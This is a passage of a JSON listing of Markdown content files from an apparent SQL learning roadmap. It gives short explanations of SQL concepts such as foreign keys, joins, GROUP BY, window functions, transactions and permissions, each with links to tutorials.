    "content": "# Foreign Key\n\nA foreign key in SQL is a column or group of columns in one table that refers to the primary key of another table. It establishes a link between two tables, enforcing referential integrity and maintaining relationships between related data. Foreign keys ensure that values in the referencing table correspond to valid values in the referenced table, preventing orphaned records and maintaining data consistency across tables. They are crucial for implementing relational database designs and supporting complex queries that join multiple tables.\n\nVisit the following resources to learn more:\n\n- [@article@What is a foreign key?](https://www.cockroachlabs.com/blog/what-is-a-foreign-key/)\n- [@video@Foreign Keys are easy (kind of)](https://www.youtube.com/watch?v=rFssfx37UJw)"
  },
  {
    "path": "src/data/roadmaps/sql/content/from@N1Racr3ZpU320gS545We8.md",
    "content": "# FROM Clause in SELECT Statements\n\nThe `FROM` clause in SQL specifies the table or tables from which you're retrieving data. It tells the database which dataset to look at when executing your query. Without a `FROM` clause, the database doesn't know where the data is coming from, and the `SELECT` statement wouldn't be able to produce any results. Essentially, it's the foundation upon which you build your data retrieval process.\n\nVisit the following resources to learn more:\n\n- [@video@How to write basic SQL](https://www.youtube.com/watch?v=YfTDBA45PHk)"
  },
  {
    "path": "src/data/roadmaps/sql/content/full-outer-join@aS5zCyJRA779yHF0G2pje.md",
    "content": "# FULL OUTER JOIN\n\nA `FULL OUTER JOIN` in SQL combines the results of both `LEFT` and `RIGHT OUTER JOIN`s. It returns all rows from both tables, matching records where the join condition is met and including unmatched rows from both tables with `NULL` values in place of missing data. This join type is useful when you need to see all data from both tables, regardless of whether there are matching rows, and is particularly valuable for identifying missing relationships or performing data reconciliation between two tables.\n\nVisit the following resources to learn more:\n\n- [@video@SQL FULL OUTER JOIN](https://www.youtube.com/watch?v=XpBkXo3DCEg)"
  },
  {
    "path": "src/data/roadmaps/sql/content/grant-and-revoke@03qMopxzjx_-dZbYw9b7J.md",
    "content": "# GRANT and REVOKE\n\n`GRANT` and `REVOKE` are SQL commands used to manage user permissions in a database. `GRANT` is used to give specific privileges (such as `SELECT`, `INSERT`, `UPDATE`, `DELETE`) on database objects to users or roles, while `REVOKE` is used to remove these privileges. These commands are essential for implementing database security, controlling access to sensitive data, and ensuring that users have appropriate permissions for their roles. By using `GRANT` and `REVOKE`, database administrators can fine-tune access control, adhering to the principle of least privilege in database management.\n\nVisit the following resources to learn more:\n\n- [@article@GRANT](https://www.ibm.com/docs/en/qmf/12.2.0?topic=privileges-sql-grant-statement)\n- [@article@REVOKE](https://www.ibm.com/docs/en/qmf/12.2.0?topic=privileges-sql-revoke-statement)"
  },
  {
    "path": "src/data/roadmaps/sql/content/group-by@14TKE6KhrH1yFtHcSZSXq.md",
    "content": "# GROUP BY\n\n`GROUP BY` is an SQL clause used in `SELECT` statements to arrange identical data into groups. It's typically used with aggregate functions (like `COUNT`, `SUM`, `AVG`) to perform calculations on each group of rows. `GROUP BY` collects data across multiple records and groups the results by one or more columns, allowing for analysis of data at a higher level of granularity. This clause is fundamental for generating summary reports, performing data analysis, and creating meaningful aggregations of data in relational databases.\n\nVisit the following resources to learn more:\n\n- [@article@SQL GROUP BY](https://www.programiz.com/sql/group-by)\n- [@video@Advanced Aggregate Functions in SQL](https://www.youtube.com/watch?v=nNrgRVIzeHg)"
  },
  {
    "path": "src/data/roadmaps/sql/content/group-by@Zw8IHfCCMSxmVjx5Ho5ff.md",
    "content": "# GROUP BY\n\n`GROUP BY` is an SQL clause used in `SELECT` statements to arrange identical data into groups. It's typically used with aggregate functions (like `COUNT`, `SUM`, `AVG`) to perform calculations on each group of rows. `GROUP BY` collects data across multiple records and groups the results by one or more columns, allowing for analysis of data at a higher level of granularity. This clause is fundamental for generating summary reports, performing data analysis, and creating meaningful aggregations of data in relational databases.\n\nVisit the following resources to learn more:\n\n- [@article@SQL GROUP BY](https://www.programiz.com/sql/group-by)\n- [@video@Advanced Aggregate Functions in SQL](https://www.youtube.com/watch?v=nNrgRVIzeHg)"
  },
  {
    "path": "src/data/roadmaps/sql/content/having@HhICJpCK5__b-itUoEBES.md",
    "content": "# HAVING\n\nThe `HAVING` clause in SQL is used to filter the results of aggregate functions. It's similar to the `WHERE` clause, but operates on grouped rows produced by the `GROUP BY` clause. Essentially, `HAVING` allows you to specify conditions that groups must meet to be included in the final result set after aggregation has taken place.\n\nVisit the following resources to learn more:\n\n- [@article@SQL HAVING Clause](https://www.programiz.com/sql/having)\n- [@video@HAVING Clause](https://www.youtube.com/watch?v=tYBOMw7Ob8E)"
  },
  {
    "path": "src/data/roadmaps/sql/content/having@ytwCkSMTiTuemE0KVfAfy.md",
    "content": "# HAVING\n\nHAVING is a clause in SQL that filters the results of a `GROUP BY` query. It's like a `WHERE` clause, but it operates on groups rather than individual rows. You use `HAVING` to specify conditions that the group must meet to be included in the final result set.\n\nVisit the following resources to learn more:\n\n- [@article@SQL HAVING Clause](https://www.programiz.com/sql/having)\n- [@video@HAVING Clause](https://www.youtube.com/watch?v=tYBOMw7Ob8E)"
  },
  {
    "path": "src/data/roadmaps/sql/content/indexes@LcljR70T-OnzSrJJDqOWf.md",
    "content": "# Indexes\n\nIndexes in SQL are database objects that improve the speed of data retrieval operations on database tables. They work similarly to book indexes, providing a quick lookup mechanism for finding rows with specific column values. Indexes create a separate data structure that allows the database engine to locate data without scanning the entire table. While they speed up `SELECT` queries, indexes can slow down `INSERT`, `UPDATE`, and `DELETE` operations because the index structure must be updated. Proper index design is crucial for optimizing database performance, especially for large tables or frequently queried columns.\n\nVisit the following resources to learn more:\n\n- [@video@SQL Indexing Best Practices](https://www.youtube.com/watch?v=BIlFTFrEFOI)"
  },
  {
    "path": "src/data/roadmaps/sql/content/inner-join@aaua13CkTxLOYXr8cAgPm.md",
    "content": "# INNER JOIN\n\nINNER JOINs combine rows from two or more tables based on a related column.  They return only the rows where there is a match in the specified columns of all tables involved in the join. If there's no matching value in the joined columns, that row is excluded from the result set.\n\nVisit the following resources to learn more:\n\n- [@article@SQL INNER JOIN Clause](https://www.programiz.com/sql/inner-join)"
  },
  {
    "path": "src/data/roadmaps/sql/content/insert@-Hew0y53ziZK3epQnGA0O.md",
    "content": "# INSERT\n\nINSERT is a SQL command used to add new rows of data into a table. It specifies which table to add the data to and provides the values for each column in the new row. You can insert a single row at a time or multiple rows with a single statement.\n\nVisit the following resources to learn more:\n\n- [@video@SQL INSERT Statement](https://www.youtube.com/watch?v=Yp1MKeIG-M4)"
  },
  {
    "path": "src/data/roadmaps/sql/content/insert@mPj6BiK5FKKkIQ9WsWEo6.md",
    "content": "# INSERT Statement\n\nThe INSERT statement in SQL is used to add new rows of data into a table. It specifies the table to which you want to add data, and the values you want to insert into each column of that table. You can insert a single row at a time or multiple rows in a single statement. It's a fundamental command for populating your database tables with information.\n\nVisit the following resources to learn more:\n\n- [@video@SQL INSERT Statement](https://www.youtube.com/watch?v=Yp1MKeIG-M4)"
  },
  {
    "path": "src/data/roadmaps/sql/content/join-queries@8V6yw7kLaow-VVcv_K_pL.md",
    "content": "# JOIN Queries\n\nJOIN queries are used to combine rows from two or more tables based on a related column between them. This allows you to retrieve data from multiple tables in a single query, forming a more comprehensive dataset than you could get from a single table alone. Different types of joins, like INNER, LEFT, RIGHT, and FULL OUTER, determine how rows are included in the result based on whether matching values exist in the related columns.\n\nVisit the following resources to learn more:\n\n- [@article@7 SQL JOIN Examples With Detailed Explanations](https://learnsql.com/blog/sql-join-examples-with-explanations/)\n- [@video@Joins are easy](https://www.youtube.com/watch?v=G3lJAxg1cy8)"
  },
  {
    "path": "src/data/roadmaps/sql/content/joins@4UQQYbjzwVxZOAxBuXKQS.md",
    "content": "# JOINs\n\nSQL JOINs let you combine data from two or more tables based on a related column between them.  Think of it as linking information together to get a more complete view. The four most commonly used are: `INNER JOIN`, which returns rows only when there is a match in both tables; `LEFT JOIN`, which returns all rows from the left table and the matched rows from the right table (or NULL if there's no match); `RIGHT JOIN`, which returns all rows from the right table and the matched rows from the left table (or NULL if there's no match); and `FULL OUTER JOIN`, which returns all rows when there is a match in one of the tables.\n\nVisit the following resources to learn more:\n\n- [@article@SQL JOINs Cheat Sheet](https://www.datacamp.com/cheat-sheet/sql-joins-cheat-sheet)\n- [@video@SQL JOINs Tutorial for beginners](https://www.youtube.com/watch?v=0OQJDd3QqQM)"
  },
  {
    "path": "src/data/roadmaps/sql/content/lag@BcXdxY6bld5c0YNFSKkh-.md",
    "content": "# lag\n\n`LAG` is a window function in SQL that provides access to a row at a specified offset prior to the current row within a partition. It allows you to compare the current row's values with previous rows' values without using self-joins. LAG is particularly useful for calculating running differences, identifying trends, or comparing sequential data points in time-series analysis. The function takes the column to offset, the number of rows to offset (default is 1), and an optional default value to return when the offset goes beyond the partition's boundary.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding the LAG function in SQL](https://www.datacamp.com/tutorial/sql-lag)\n- [@video@LAG and LEAD functions](https://www.youtube.com/watch?v=j2u52RQ0qlw)"
  },
  {
    "path": "src/data/roadmaps/sql/content/lead@aJJjaGunRrwyh9MjQfJt-.md",
    "content": "# lead\n\n`LEAD` is a window function in SQL that provides access to a row at a specified offset after the current row within a partition. It's the counterpart to the `LAG` function, allowing you to look ahead in your dataset rather than behind. `LEAD` is useful for comparing current values with future values, calculating forward-looking metrics, or analyzing trends in sequential data. Like `LAG`, it takes arguments for the column to offset, the number of rows to look ahead (default is 1), and an optional default value when the offset exceeds the partition's boundary.\n\nVisit the following resources to learn more:\n\n- [@article@SQL LEAD](https://www.codecademy.com/resources/docs/sql/window-functions/lead)\n- [@video@LAG and LEAD Window Functions in SQL](https://www.youtube.com/watch?v=nHEEyX_yDvo)"
  },
  {
    "path": "src/data/roadmaps/sql/content/learn-the-basics@nhUKKWyBH80nyKfGT8ErC.md",
    "content": "# Learn the Basics\n\nSQL (Structured Query Language) is a programming language used to manage and manipulate data stored in relational database management systems (RDBMS). It allows you to retrieve, insert, update, and delete data, as well as define database schemas and control access to data. The basic understanding of SQL is foundational to interact with almost any database.\n\nVisit the following resources to learn more:\n\n- [@article@SQL Tutorial - Mode](https://mode.com/sql-tutorial/)\n- [@article@SQL Tutorial](https://www.sqltutorial.org/)"
  },
  {
    "path": "src/data/roadmaps/sql/content/left-join@X9cJJ8zLZCF2cOoqxwFfY.md",
    "content": "# LEFT JOIN\n\nA LEFT JOIN returns all rows from the left table (the table listed before the `LEFT JOIN` keyword) and the matching rows from the right table (the table listed after the `LEFT JOIN` keyword). If there is no match in the right table for a row in the left table, the result will contain `NULL` values for the columns from the right table. Effectively, it ensures all rows from the left table are included in the result set, regardless of whether there's a corresponding row in the right table.\n\nVisit the following resources to learn more:\n\n- [@video@SQL LEFT JOIN - SQL Tutorial](https://www.youtube.com/watch?v=giKwmtsz1U8)"
  },
  {
    "path": "src/data/roadmaps/sql/content/length@RH8DLiQpDUWqw3U1522q5.md",
    "content": "# LENGTH\n\nThe `LENGTH` function in SQL returns the number of characters in a string. It's used to measure the size of text data, which can be helpful for data validation, formatting, or analysis. In some database systems, `LENGTH` may count characters differently for multi-byte character sets. Most SQL dialects support `LENGTH`, but some may use alternative names like LEN (in SQL Server) or `CHAR_LENGTH`. This function is particularly useful for enforcing character limits, splitting strings, or identifying anomalies in string data.\n\nVisit the following resources to learn more:\n\n- [@article@How to Check the Length of a String in SQL](https://learnsql.com/cookbook/how-to-check-the-length-of-a-string-in-sql/)\n- [@article@MySQL Length Function](https://www.w3schools.com/sql/func_mysql_length.asp)"
  },
  {
    "path": "src/data/roadmaps/sql/content/lower@knTG6pAq2mYP24WMa29xI.md",
    "content": "# LOWER\n\nThe `LOWER` function in SQL converts all characters in a specified string to lowercase. It's a string manipulation function that takes a single argument (the input string) and returns the same string with all alphabetic characters converted to their lowercase equivalents. `LOWER` is useful for standardizing data, making case-insensitive comparisons, or formatting output. It doesn't affect non-alphabetic characters or numbers in the string. `LOWER` is commonly used in data cleaning, search operations, and ensuring consistent data representation across different systems.\n\nVisit the following resources to learn more:\n\n- [@article@How to change text to lowercase in SQL](https://learnsql.com/cookbook/how-to-change-text-to-lowercase-in-sql/)\n- [@article@LOWER Function](https://www.w3schools.com/sql/func_sqlserver_lower.asp)"
  },
  {
    "path": "src/data/roadmaps/sql/content/managing-indexes@NtxGd6Vx-REBclry7lZuE.md",
    "content": "# Managing Indexes\n\nManaging indexes in SQL involves creating, modifying, and dropping indexes to optimize database performance. This process includes identifying columns that benefit from indexing (frequently queried or used in JOIN conditions), creating appropriate index types (e.g., single-column, composite, unique), and regularly analyzing index usage and effectiveness. Database administrators must balance the improved query performance that indexes provide against the overhead they introduce for data modification operations. Proper index management also includes periodic maintenance tasks like rebuilding or reorganizing indexes to maintain their efficiency as data changes over time.\n\nVisit the following resources to learn more:\n\n- [@article@SQL Server Indexes](https://www.sqlservercentral.com/articles/introduction-to-indexes)\n- [@article@Optimize index maintenance](https://learn.microsoft.com/en-us/sql/relational-databases/indexes/reorganize-and-rebuild-indexes?view=sql-server-ver16)"
  },
  {
    "path": "src/data/roadmaps/sql/content/max@YqDJq3fPxUZlwsdq0kJg7.md",
    "content": "# MAX\n\n`MAX` is an aggregate function in SQL that returns the highest value in a set of values. It can be used with numeric, date, or string data types, selecting the maximum value from a specified column. `MAX` is often used in combination with `GROUP BY` to find the highest value within each group. This function is useful for various data analysis tasks, such as finding the highest salary, the most recent date, or the alphabetically last name in a dataset.\n\nVisit the following resources to learn more:\n\n- [@article@MAX](https://www.techonthenet.com/sql/max.php)\n- [@video@Basic Aggregate Functions](https://www.youtube.com/watch?v=jcoJuc5e3RE)"
  },
  {
    "path": "src/data/roadmaps/sql/content/min@bFEYMlqPZtTUYtDQxqHzT.md",
    "content": "# MIN\n\n`MIN` is an aggregate function in SQL that returns the lowest value in a set of values. It works with numeric, date, or string data types, selecting the minimum value from a specified column. Often used in conjunction with `GROUP BY`, `MIN` can find the smallest value within each group. This function is useful for various data analysis tasks, such as identifying the lowest price, earliest date, or alphabetically first name in a dataset.\n\nVisit the following resources to learn more:\n\n- [@article@SQL MAX & MIN](https://www.programiz.com/sql/min-and-max)\n- [@video@COUNT, SUM, AVG, MIN, MAX (SQL) - Aggregating Data](https://www.youtube.com/watch?v=muwEdPsx534)"
  },
  {
    "path": "src/data/roadmaps/sql/content/mod@OUw--8zEq6lk5-6oySVHe.md",
    "content": "# MOD\n\nThe `MOD` function in SQL calculates the remainder when one number is divided by another. It takes two arguments: the dividend and the divisor. `MOD` returns the remainder of the division operation, which is useful for various mathematical operations, including checking for odd/even numbers, implementing cyclic behaviors, or distributing data evenly. The syntax and exact behavior may vary slightly between different database systems, with some using the % operator instead of the `MOD` keyword.\n\nVisit the following resources to learn more:\n\n- [@video@MOD Function in SQL](https://www.youtube.com/watch?v=f1Rqf7CwjE0)"
  },
  {
    "path": "src/data/roadmaps/sql/content/modifying-views@3eE-l-P93nOXoWfLr8PSW.md",
    "content": "# Modifying Views\n\nModifying views in SQL allows you to alter the structure or definition of an existing view without having to drop and recreate it. This can involve changing the columns included in the view, updating the underlying tables or conditions used in the view's query, or renaming the view. Using `ALTER VIEW` simplifies maintenance and allows for adjustments to views as database requirements evolve.\n\nVisit the following resources to learn more:\n\n- [@article@Modify Views in SQL Server](https://www.sqlshack.com/create-view-sql-modifying-views-in-sql-server/)\n- [@video@SQL VIEWs in 4 Minutes](https://www.youtube.com/watch?v=vLLkNI-vkV8)"
  },
  {
    "path": "src/data/roadmaps/sql/content/nested-subqueries@xkPJ2MYiXmzC4yqQWyB_7.md",
    "content": "# Nested Subqueries\n\nNested subqueries are queries embedded within another SQL query. Think of it as a query inside a query, where the inner query's result is used by the outer query. This allows you to perform more complex data retrieval and filtering operations by breaking down a larger problem into smaller, more manageable steps. Essentially, the outer query depends on the result returned by the inner query to complete its own operation.\n\nVisit the following resources to learn more:\n\n- [@article@Nested Subqueries](https://www.studysmarter.co.uk/explanations/computer-science/databases/nested-subqueries-in-sql/)\n- [@video@MySQL Subqueries](https://www.youtube.com/watch?v=i5acg3Hvu6g)"
  },
  {
    "path": "src/data/roadmaps/sql/content/not-null@M4M_-vjM9GNy0NmXZneDA.md",
    "content": "# NOT NULL Constraint\n\nThe NOT NULL constraint in SQL ensures that a column does not accept null values. When a column is defined with this constraint, every row in the table must have a value for that specific column. Attempting to insert or update a row with a null value in a NOT NULL column will result in an error, maintaining data integrity by preventing missing or undefined entries.\n\nVisit the following resources to learn more:\n\n- [@article@SQL IS NULL and IS NOT NULL](https://www.programiz.com/sql/is-null-not-null)\n- [@video@NOT NULL Constraint](https://www.youtube.com/watch?v=unzHhq82mKU)"
  },
  {
    "path": "src/data/roadmaps/sql/content/nullif@KI6vngoYcHsnpIk8ErhhS.md",
    "content": "# NULLIF\n\n`NULLIF` is an SQL function that compares two expressions and returns NULL if they are equal, otherwise it returns the first expression. It's particularly useful for avoiding division by zero errors or for treating specific values as `NULL` in calculations or comparisons. `NULLIF` takes two arguments and is often used in combination with aggregate functions or in `CASE` statements to handle special cases in data processing or reporting.\n\nVisit the following resources to learn more:\n\n- [@video@What is NULLIF in SQL?](https://www.youtube.com/watch?v=Jaw53T__RRY)"
  },
  {
    "path": "src/data/roadmaps/sql/content/operators@ffwniprGJHZzJ7t3lQcXz.md",
    "content": "# Operators\n\nSQL operators are symbols or keywords used to perform operations on data within a database. They are essential for constructing queries that filter, compare, and manipulate data. Common types of operators include arithmetic operators (e.g., `+`, `-`, `*`, `/`), which perform mathematical calculations; comparison operators (e.g., `=`, `!=`, `<`, `>`), used to compare values; logical operators (e.g., `AND`, `OR`, `NOT`), which combine multiple conditions in a query; and set operators (e.g., `UNION`, `INTERSECT`, `EXCEPT`), which combine results from multiple queries. These operators enable precise control over data retrieval and modification.\n\nVisit the following resources to learn more:\n\n- [@article@SQL Operators: 6 Different Types](https://dataengineeracademy.com/blog/sql-operators-6-different-types-code-examples/)"
  },
  {
    "path": "src/data/roadmaps/sql/content/optimizing-joins@C0dhS6uLf4TUSfvcWyXhv.md",
    "content": "# Optimizing Joins\n\nOptimizing joins in SQL involves techniques to improve the performance of queries that combine data from multiple tables. Key strategies include using appropriate join types (e.g., `INNER JOIN` for matching rows only, `LEFT JOIN` for all rows from one table), indexing the columns used in join conditions to speed up lookups, and minimizing the data processed by filtering results with `WHERE` clauses before the join. Additionally, reducing the number of joins, avoiding unnecessary columns in the `SELECT` statement, and ensuring that the join conditions are based on indexed and selective columns can significantly enhance query efficiency. Proper join order and using database-specific optimization hints are also important for performance tuning.\n\nVisit the following resources to learn more:\n\n- [@article@How to Optimize a SQL Query with Multiple Joins](https://dezbor.com/blog/optimize-sql-query-with-multiple-joins)\n- [@video@Secret to optimizing SQL queries](https://www.youtube.com/watch?v=BHwzDmr6d7s)"
  },
  {
    "path": "src/data/roadmaps/sql/content/order-by@NfCiSPrL4upMssukcw3Kh.md",
    "content": "# ORDER BY\n\nThe `ORDER BY` clause in SQL is used to sort the result set of a query by one or more columns. By default, the sorting is in ascending order, but you can specify descending order using the `DESC` keyword. The clause can sort by numeric, date, or text values, and multiple columns can be sorted by listing them in the `ORDER BY` clause, each with its own sorting direction. This clause is crucial for organizing data in a meaningful sequence, such as ordering by a timestamp to show the most recent records first, or alphabetically by name.\n\nVisit the following resources to learn more:\n\n- [@video@SQL ORDER BY Sorting Clause](https://www.youtube.com/watch?v=h_HHTNjAgS8)"
  },
  {
    "path": "src/data/roadmaps/sql/content/performance-optimization@4rqCPpTb0dAgpheBKshRG.md",
    "content": "# Performance Optimization\n\nPerformance optimization in SQL focuses on making your queries run faster and more efficiently. This involves techniques like using indexes to speed up data retrieval, rewriting queries for better performance, and understanding how the database engine executes your SQL code. It's about ensuring your database can handle large amounts of data and complex queries without slowing down.\n\nVisit the following resources to learn more:\n\n- [@article@Performance Tuning SQL Queries](https://mode.com/sql-tutorial/sql-performance-tuning)\n- [@article@SQL performance tuning](https://stackify.com/performance-tuning-in-sql-server-find-slow-queries/)"
  },
  {
    "path": "src/data/roadmaps/sql/content/pivot--unpivot-operations@nwFaz9i-1s0WVrVaFsoqb.md",
    "content": "# Pivot / Unpivot Operations\n\nPivot and unpivot operations transform the structure of data within a table. Pivoting rotates rows into columns, aggregating data based on common values. Conversely, unpivoting transforms columns into rows, often expanding a table's length while reducing its width. These operations are useful for reshaping data for reporting or analysis.\n\nVisit the following resources to learn more:\n\n- [@article@SQL PIVOT](https://builtin.com/articles/sql-pivot)\n- [@article@SQL UNPIVOT](https://duckdb.org/docs/sql/statements/unpivot.html)"
  },
  {
    "path": "src/data/roadmaps/sql/content/primary-key@Jlwmyq6CUQeDAlL4dazOP.md",
    "content": "# Primary Key\n\nA primary key in SQL is a unique identifier for each record in a database table. It ensures that each row in the table is uniquely identifiable, meaning no two rows can have the same primary key value. A primary key is composed of one or more columns, and it must contain unique values without any `NULL` entries. The primary key enforces entity integrity by preventing duplicate records and ensuring that each record can be precisely located and referenced, often through foreign key relationships in other tables. Using a primary key is fundamental for establishing relationships between tables and maintaining the integrity of the data model.\n\nVisit the following resources to learn more:\n\n- [@article@SQL Primary Key](https://www.tutorialspoint.com/sql/sql-primary-key.htm)"
  },
  {
    "path": "src/data/roadmaps/sql/content/query-analysis-techniques@C6P69YiFdS-ioPXMNfX07.md",
    "content": "# Query Analysis Techniques\n\nUnderstanding how SQL queries are executed is essential for performance tuning. Tools like `EXPLAIN` or `EXPLAIN PLAN` allow you to dissect the execution plan the database uses for a specific query. This plan reveals the order in which tables are accessed, the types of indexes used (or not used), and the estimated cost of each operation, enabling you to identify bottlenecks and optimize the query for faster execution.\n\nVisit the following resources to learn more:\n\n- [@article@EXPLAIN](https://docs.snowflake.com/en/sql-reference/sql/explain)\n- [@article@EXPLAIN PLAN](https://docs.oracle.com/en/database/oracle/oracle-database/19/sqlrf/EXPLAIN-PLAN.html)"
  },
  {
    "path": "src/data/roadmaps/sql/content/query-optimization@Ps9Yv2s-bKvEegGAbPsiA.md",
    "content": "# Query Optimization\n\nQuery optimization is the process of selecting the most efficient way to execute a SQL query. It involves the database management system (DBMS) analyzing different possible execution plans for a query and choosing the one that will return the results fastest, using the least amount of resources. This analysis considers factors like the data volume, index usage, and system resources to find the optimal path.\n\nVisit the following resources to learn more:\n\n- [@article@12 Ways to Optimize SQL Queries](https://www.developernation.net/blog/12-ways-to-optimize-sql-queries-in-database-management/)\n- [@video@SQL Query Optimization](https://www.youtube.com/watch?v=GA8SaXDLdsY)"
  },
  {
    "path": "src/data/roadmaps/sql/content/rank@cucCPw3KfetAP2OMFUs0X.md",
    "content": "# rank\n\nThe `RANK` function in SQL is a window function that assigns a rank to each row within a partition of a result set, based on the order specified by the `ORDER BY` clause. Unlike the `ROW_NUMBER` function, `RANK` allows for the possibility of ties—rows with equal values in the ordering column(s) receive the same rank, and the next rank is skipped accordingly. For example, if two rows share the same rank of 1, the next rank will be 3. This function is useful for scenarios where you need to identify relative positions within groups, such as ranking employees by salary within each department.\n\nVisit the following resources to learn more:\n\n- [@article@Overview of SQL RANK Functions](https://www.sqlshack.com/overview-of-sql-rank-functions/)\n- [@video@RANK, DENSE_RANK, ROW_NUMBER SQL Analytical Functions Simplified](https://www.youtube.com/watch?v=xMWEVFC4FOk)"
  },
  {
    "path": "src/data/roadmaps/sql/content/rdbms-benefits-and-limitations@fNTb9y3zs1HPYclAmu_Wv.md",
    "content": "# RDBMS Benefits and Limitations\n\nRelational Database Management Systems (RDBMS) organize data into tables with rows and columns, establishing relationships between these tables using keys. This structured approach offers benefits like data integrity through constraints and ACID properties (Atomicity, Consistency, Isolation, Durability), ensuring reliable transactions. However, RDBMS can face limitations regarding scalability, especially with massive datasets, and may not be the optimal choice for handling unstructured or semi-structured data due to their rigid schema.\n\nVisit the following resources to learn more:\n\n- [@article@Advantages and Disadvantages of DBMS](https://cloud.google.com/learn/what-is-a-relational-database)"
  },
  {
    "path": "src/data/roadmaps/sql/content/recursive-queries@TjgwabhEtaSoYMLNr6q9l.md",
    "content": "# Recursive Queries\n\nRecursive queries are SQL queries that refer to themselves within their own definition. They're used to process hierarchical or tree-structured data, where relationships exist between rows in the same table, like organizational charts, bill of materials, or social networks. Using `WITH RECURSIVE` clause, these queries iterate through the data until a certain condition is met, allowing you to traverse the hierarchy and extract related information.\n\nVisit the following resources to learn more:\n\n- [@article@Recursive Queries in SQL](https://codedamn.com/news/sql/recursive-queries-in-sql)\n- [@article@Recursive SQL Expression Visually Explained](https://builtin.com/data-science/recursive-sql)"
  },
  {
    "path": "src/data/roadmaps/sql/content/reducing-subqueries@UVTgbZrqpbYl1bQvQejcF.md",
    "content": "# Reducing Subqueries\n\nReducing subqueries is a common SQL optimization technique, especially when dealing with complex logic or large datasets. Correlated subqueries, which are evaluated once for each row in the outer query, can degrade the performance. Subqueries can often be replaced with JOIN operations. In cases where subqueries are reused, consider replacing them with Common Table Expressions (CTEs), which offer modularity and avoid repeated executions of the same logic. Limiting the result set returned by subqueries and storing the results of expensive subqueries in temporary tables for reuse can also improve performance.\n\nLearn more from the following resources:"
  },
  {
    "path": "src/data/roadmaps/sql/content/replace@VNbb3YPc0FtrROylRns8h.md",
    "content": "# REPLACE\n\nThe `REPLACE` function in SQL is used to substitute all occurrences of a specified substring within a string with a new substring. It takes three arguments: the original string, the substring to be replaced, and the substring to replace it with. If the specified substring is found in the original string, `REPLACE` returns the modified string with all instances of the old substring replaced by the new one. If the substring is not found, the original string is returned unchanged. This function is particularly useful for data cleaning tasks, such as correcting typos, standardizing formats, or replacing obsolete data.\n\nVisit the following resources to learn more:\n\n- [@article@How to use the SQL REPLACE Function](https://www.datacamp.com/tutorial/sql-replace)"
  },
  {
    "path": "src/data/roadmaps/sql/content/right-join@shpgZkh1CLqUwjOaRtAFy.md",
    "content": "# RIGHT JOIN\n\nA RIGHT JOIN combines rows from two tables based on a related column. It returns all rows from the right table (the table specified after the `RIGHT JOIN` keyword), and the matching rows from the left table. If there's no match in the left table for a row in the right table, `NULL` values are returned for the columns from the left table in the result set.\n\nVisit the following resources to learn more:\n\n- [@article@SQL RIGHT JOIN With Examples](https://www.programiz.com/sql/right-join)"
  },
  {
    "path": "src/data/roadmaps/sql/content/rollback@xbD67KVlt3UhHpKh8HLx8.md",
    "content": "# ROLLBACK\n\n`ROLLBACK` is a SQL command used to undo transactions that have not yet been committed to the database. It reverses all changes made within the current transaction, restoring the database to its state before the transaction began. This command is crucial for maintaining data integrity, especially when errors occur during a transaction or when implementing conditional logic in database operations. `ROLLBACK` is an essential part of the ACID (Atomicity, Consistency, Isolation, Durability) properties of database transactions, ensuring that either all changes in a transaction are applied, or none are, thus preserving data consistency.\n\nVisit the following resources to learn more:\n\n- [@article@Difference between COMMIT and ROLLBACK in SQL](https://byjus.com/gate/difference-between-commit-and-rollback-in-sql/)\n- [@video@How to undo a mistake a in SQL: Rollback and Commit](https://www.youtube.com/watch?v=jomsdMLiIZM)"
  },
  {
    "path": "src/data/roadmaps/sql/content/round@9DntFiZV1AyaRPhYP5q6u.md",
    "content": "# ROUND\n\nThe `ROUND` function in SQL is used to round a numeric value to a specified number of decimal places. It takes two arguments: the number to be rounded and the number of decimal places to round to. If the second argument is omitted, the function rounds the number to the nearest whole number. For positive values of the second argument, the number is rounded to the specified decimal places; for negative values, it rounds to the nearest ten, hundred, thousand, etc. The `ROUND` function is useful for formatting numerical data for reporting or ensuring consistent precision in calculations.\n\nVisit the following resources to learn more:\n\n- [@article@What is the SQL ROUND Function and how does it work?](https://www.datacamp.com/tutorial/mastering-sql-round)"
  },
  {
    "path": "src/data/roadmaps/sql/content/row@aLDl75i8gtLRA2Ud-fMmQ.md",
    "content": "# Row\n\nIn SQL, a row (also called a record or tuple) represents a single, implicitly structured data item in a table. Each row contains a set of related data elements corresponding to the table's columns. Rows are fundamental to the relational database model, allowing for the organized storage and retrieval of information. Operations like INSERT, UPDATE, and DELETE typically work at the row level.\n\nVisit the following resources to learn more:\n\n- [@article@Row - Database](https://en.wikipedia.org/wiki/Row_(database))\n- [@article@Database Row: Definition, Examples](https://www.devx.com/terms/database-row/)"
  },
  {
    "path": "src/data/roadmaps/sql/content/row_number@zW27ZHdLwQY-85iqbBKQZ.md",
    "content": "# Row_number\n\nROW\\_NUMBER() is a SQL window function that assigns a unique, sequential integer to each row within a partition of a result set. It's useful for creating row identifiers, implementing pagination, or finding the nth highest/lowest value in a group. The numbering starts at 1 for each partition and continues sequentially, allowing for versatile data analysis and manipulation tasks.\n\nVisit the following resources to learn more:\n\n- [@article@SQL ROW_NUMBER](https://www.sqltutorial.org/sql-window-functions/sql-row_number/)\n- [@article@How to Use ROW_NUMBER OVER() in SQL to Rank Data](https://learnsql.com/blog/row-number-over-in-sql/)"
  },
  {
    "path": "src/data/roadmaps/sql/content/savepoint@pJtYvXUo81aZfPuRjIbMq.md",
    "content": "# SAVEPOINT\n\nA `SAVEPOINT` in SQL is a point within a transaction that can be referenced later. It allows for more granular control over transactions by creating intermediate points to which you can roll back without affecting the entire transaction. This is particularly useful in complex transactions where you might want to undo part of the work without discarding all changes. `SAVEPOINT` enhances transaction management flexibility.\n\nVisit the following resources to learn more:\n\n- [@article@SQL SAVEPOINT](https://www.ibm.com/docs/pl/informix-servers/12.10?topic=statements-savepoint-statement)\n- [@video@DBMS - Save Point](https://www.youtube.com/watch?v=30ldSUkswGM)"
  },
  {
    "path": "src/data/roadmaps/sql/content/scalar@eXQ-TrTlqL5p2AdGnozkL.md",
